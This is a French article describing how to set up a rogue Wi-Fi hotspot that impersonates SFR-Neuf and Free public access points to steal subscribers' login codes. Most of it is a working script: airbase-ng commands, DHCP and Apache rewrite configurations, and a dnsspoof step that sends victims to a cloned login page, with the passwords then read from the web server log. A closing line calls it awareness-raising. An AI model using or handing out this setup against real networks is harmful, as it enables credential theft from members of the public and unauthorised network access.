wireless-rogue

Le wifi est actuellement bien ancré dans les réseaux modernes malgré l'ensemble des problèmes de sécurité. En marge de ce développement les opérateurs télécoms ont développé des accès publics sur les bornes de leurs clients qui moyennant un code permettant une connexion "itinérantes" de leurs abonnés.

Quand vous êtes abonnés SFR-Neuf Télécom ou Free et que vous n'êtes pas à la maison, vous avez la possibilité de vous connecter au réseau Internet de votre opérateur si vous êtes à proximité d'une borne de l'opérateur.

Connexion SFR NeufFenêtre de connexion SFR-Neuf

Connexion FreeFenêtre de connexion Free

Vous avez de la chance, il y en a une, vous démarrez votre navigateur, la fenêtre magique apparait, vous saisissez vos mots de passe ... Puis, rien, vous recommencez ... Rien ?! Peut-être êtes-vous en présence d'une Rogue-AP (borne voleuse) et là vous venez de vous faire "voler" vos mots de passe !

Comment cela fonctionne-t-il ... Rien de plus simple, le pirate à besoin de la distribution LinuxBacktrack 4.0 qui dispose de tous les outils, de mon script qui automatise toute la procédure et de télécharger les pages de connexion des différents opérateurs.

killall airbase-ng
sleep 1
killall airbase-ng
ifdown at0
airmon-ng stop mon0
sleep 1
airmon-ng start wlan0
sleep 1

On crée une interface virtuelle et on démarre notre Rogue-AP qui broadcast le ESSID Neuf_Wifi par exemple puis on configure l'adresse IP de l'interface

modprobe tun
airbase-ng -c 11 -e Neuf_Wifi mon0 &
sleep 1
ifconfig at0 10.0.0.1 netmask 255.255.255.0 mtu 1500 up 
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

On configure un serveur DHCP qui va fournir une IP à la "victime"

cat >/etc/default/dhcp3-server <<EOF
INTERFACES="at0"
EOF

cat >RogueAP/dns.txt <<EOF
10.0.0.1 *
EOF

cat >/etc/dhcp3/dhcpd.conf <<EOF
server-identifier hotspot.neuf.fr;
option domain-name "neuf.fr";
option domain-name-servers 10.0.0.1;
authoritative;
     
default-lease-time 42200;
max-lease-time 43000;

subnet 10.0.0.0 netmask 255.255.255.0 {
       server-name "hotspot.neuf.fr";
       option subnet-mask 255.255.255.0;
       option broadcast-address 10.0.0.255;
       option routers 10.0.0.1;
       range 10.0.0.50 10.0.0.200;}
EOF

/etc/init.d/dhcp3-server restart

On configure Apache pour servir la page de login avec des url-rewrite qui quelque soit l'url demandée on redirige toujours vers la page de connexion.

cat >/etc/apache2/sites-enabled/000-default <<EOF
DocumentRoot /var/www/
ServerName   hotspot.neuf.fr 
<VirtualHost *:80>
	DirectoryIndex indexEncryptingChilli.php
        ServerAlias   hotspot.neuf.fr

        CustomLog     /var/log/apache2/access.log combined
        ErrorLog      /var/log/apache2/error.log
        LogLevel warn

        <IfModule mod_rewrite.c>
                RewriteEngine On
                RewriteLog /var/log/apache2/rewrite.log
		RewriteCond %{HTTP_HOST} !^hotspot\.neuf\.fr$ [NC]
                RewriteRule .* http://hotspot.neuf.fr/indexEncryptingChilli.php [R=301,L]
        </IfModule>
</VirtualHost>
EOF

a2enmod rewrite
/etc/init.d/apache2 restart

On copie tous les fichiers dans le bon répertoire

cp -r RogueAP/* /var/www/
chown -R www-data: /var/www/*

On démarre maintenant le DNS Spoofer qui redirige toutes les demandes vers 10.0.0.1 c'est à dire notre Rogue-AP

dnsspoof -i at0 -f RogueAP/dns.txt

Pour retrouver les mots de passe, le hacker n'a plus qu'à regarder dans le fichier de log situé dans /var/log/apache2/access.log et à lui les accès gratuit partout !

Ce simple exemple prouve la vulnérabilité de chacun sur les réseaux wireless, ce petit script ne "vole" que les codes d'accès au réseau. Certains Rogue-APs plus évolués, vous connectent réellement et vous donnent accès au réseau, en prélevant toutes les informations qui transitent (numéro de cartes bleus, codes d'accès aux Intranets, ...) pendant que vous surfez !

Cet article ne constitue en aucun cas une aide aux cybercriminels, mais cherche plutôt à montrer la facilité avec laquelle la confidentialité peut être compromise.